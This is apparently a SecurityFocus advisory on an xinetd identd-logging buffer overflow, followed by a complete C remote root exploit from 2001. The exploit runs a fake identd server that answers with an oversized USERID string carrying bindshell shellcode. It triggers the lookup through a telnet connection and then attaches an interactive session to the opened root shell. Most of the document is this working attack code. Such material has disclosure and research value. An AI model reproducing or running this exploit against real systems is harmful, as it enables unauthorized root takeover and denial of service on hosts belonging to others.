source: http://www.securityfocus.com/bid/2840/info

The possibility for a buffer overflow condition exists in the xinetd daemon.

Xinetd provides the ability to log via identd the user-identities of clients connecting to specific services if the clients host supports it.

It may be possible for attackers to construct identd responses which exploit this subtle overflow condition.

If successfully exploited, an attacker would gain root privileges on the affected host. It may also be possible for attackers to crash xinetd, which would result in a denial of service for all services started by inetd (telnet, ftp, etc). 

/*
 * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
 * by qitest1 28/06/2001
 *
 * This is a proof of concept code for the exploitation of the bof
 * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
 * code uses a single-byte corruption of the fp, as explained by klog.
 * sc_addr_pos is the position, from the beginning of the writable
 * area, where a pointer to the nop will be placed.
 *
 * For ethical reasons just one hardcoded target type will be provided. 
 * Its values work only against one of the bugged 'pre' releases of 
 * xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
 *
 * Greets: zen-parse, for having found this bug
 *	   klog, for his paper about the fp corruption
 *	   all my friends on the internet =)
 *
 * 100% pure 0x69. =)   
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define MY_PORT         1
#define THEIR_PORT      23 
#define IDENTD_PORT     113
#define FIRST_PAD       1009

  struct targ
    {
      int                  def;
      char                 *descr;
      unsigned long int    retaddr;
      int		   sc_addr_pos;
    };

  struct targ target[]=
    {                   
      {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
      {69, NULL, 0}
    };

  char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
  "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
  "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
  "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
  "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
  "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
  "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
  "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
  "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
  "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
  "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

  char   zbuf[1024], host[512];
  int	 sel = 0, offset = 0;

  int    sockami2(char *host, int my_port, int their_port);
  void   fake_identd(void);
  void   l33t_buf(void);
  static void keep_clz(void) __attribute__ ((destructor));
  void 	 shellami(int sock);
  void   usage(char *progname);

int
main(int argc, char **argv)
{
  int	sock, cnt;

  printf("\n  xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
  
  if(getuid())
        {
          fprintf(stderr, "Must be root babe\n");
          exit(1);
        }

  if(argc == 1)
        usage(argv[0]);
  host[0] = 0;
  while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
     strncpy(host, optarg, sizeof(host));
     host[sizeof(host)] = '\x00';
     break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   case 's':
     target[sel].sc_addr_pos = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }
  if(host[0] == 0)
        usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  target[sel].retaddr += offset;
  printf("+Using: retaddr = %p and sc_addr_pos = %d...\n  ok\n",
  target[sel].retaddr, target[sel].sc_addr_pos);
  printf("+Starting fake_identd...\n");
  fake_identd();
  return;
}

int
sockami2(char *host, int my_port, int their_port)
{
  struct        sockaddr_in address;
  struct        sockaddr_in my_addr;
  struct        hostent *hp;
  int           sock;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if(sock == -1)
        {
          perror("socket()");
          exit(-1);
        }
 
  hp = gethostbyname(host);
  if(hp == NULL)
        {
          perror("gethostbyname()");
          exit(-1);
        }

  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(my_port);
  my_addr.sin_addr.s_addr = INADDR_ANY;
  bzero(&(my_addr.sin_zero), 8);

  if(bind(sock, (struct sockaddr *)&my_addr,
  sizeof(struct sockaddr)) == -1)
        {
          perror("bind()");
          exit(1);
        }

  memset(&address, 0, sizeof(address));
  memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons(their_port);

  if(connect(sock, (struct sockaddr *) &address, 
  sizeof(address)) == -1)
        {
          perror("connect()");
          exit(-1);
        }

  return(sock);
}

void
fake_identd(void)
{
  int           sockfd, new_fd, sin_size, rem_port, loc_port, i;
  char          rbuf[1024], sbuf[1024], cif[6], *ptr;
  struct        sockaddr_in my_addr;   
  struct        sockaddr_in their_addr;        

  printf("  fake_identd forking into background\n");
  if (!fork())
    {
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
          {
            perror("socket()");
            exit(1);
          }
        
        my_addr.sin_family = AF_INET;         
        my_addr.sin_port = htons(IDENTD_PORT);     
        my_addr.sin_addr.s_addr = INADDR_ANY; 
        bzero(&(my_addr.sin_zero), 8);        

        if(bind(sockfd, (struct sockaddr *)&my_addr, 
        sizeof(struct sockaddr)) == -1) 
          {
            perror("bind()");
            exit(1);
          }

        if(listen(sockfd, 1) == -1)
          {
            perror("listen()");
            exit(1);
          }

        while(1)
          {  
            sin_size = sizeof(struct sockaddr_in);
            if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, 
            &sin_size)) == -1) 
              {
                perror("accept()");
                continue;
              }

        /* Fake session 
         */
            memset(rbuf, 0, sizeof(rbuf));
            recv(new_fd, rbuf, sizeof(rbuf), 0);

        /* Parsing of query
         */
            ptr = rbuf; i = 0;
            while(*ptr != ',')
              {
                cif[i] = *ptr;
                *ptr++; i ++;
              }
            sscanf(cif, "%d", &rem_port); 
            memset(cif, 0, sizeof(cif));
            *ptr++; i = 0;
            while(*ptr != ' ')
              {
                cif[i] = *ptr;
                *ptr++; i++;
              }
            sscanf(cif, "%d", &loc_port); 
        
            l33t_buf();
        
            memset(sbuf, 0, sizeof(sbuf));
            sprintf(sbuf, "%d,%d:USERID:%s\r\n", 
            rem_port, loc_port, zbuf);
            send(new_fd, sbuf, strlen(sbuf), 0);

            memset(rbuf, 0, sizeof(rbuf));
            recv(new_fd, rbuf, sizeof(rbuf), 0);

        /* End
         */
          }
    }
  return;
}

void
l33t_buf(void)
{
  int           i, n = 0;

  memset(zbuf, 0, sizeof(zbuf));
  for(i = 0; i < FIRST_PAD; i++)
        zbuf[i] = '\x69';

  memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
  for(i = target[sel].sc_addr_pos - strlen(shellcode); 
      i < target[sel].sc_addr_pos; 
      i++)
        zbuf[i] = shellcode[n++];
  
  zbuf[target[sel].sc_addr_pos + 0] = 
	(u_char) (target[sel].retaddr & 0x000000ff);
  zbuf[target[sel].sc_addr_pos + 1] = 
	(u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
  zbuf[target[sel].sc_addr_pos + 2] = 
	(u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
  zbuf[target[sel].sc_addr_pos + 3] = 
	(u_char)((target[sel].retaddr & 0xff000000) >> 24);

  return;
}

void
keep_clz(void)
{
  int	sock;

  if(host[0] != 0)
	{
	  printf("+Causing an auth request to our fake_identd\n");
  	  sock = sockami2(host, MY_PORT, THEIR_PORT); 
  	  printf("  done\n");
  	  close(sock);

	  printf("+Enjoy your root shell...\n  0x69 =)\n");
	  sleep(1);
	  sock = sockami2(host, 6969, 30464);
	  shellami(sock);
	}
}

void
shellami(int sock)
{
  int             n;
  char            recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set          rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock, &rset);
      FD_SET(STDIN_FILENO, &rset);
      select(sock+1, &rset, NULL, NULL, NULL);
      if(FD_ISSET(sock, &rset))
        {
          n = read(sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n] = 0;
          printf("%s", recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO, &rset))
        {
          n = read(STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write(sock, recvbuf, n);
            }
        }
    }
  return;
}

void
usage(char *progname)
{
  int  i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
         "  -h hostname\n"
         "  -t target\n"
         "  -o offset\n"
	 "  -s sc_addr_pos\n"
         "Available targets:\n");
  while(target[i].def != 69)
        { 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
        } 

  exit(1);
}
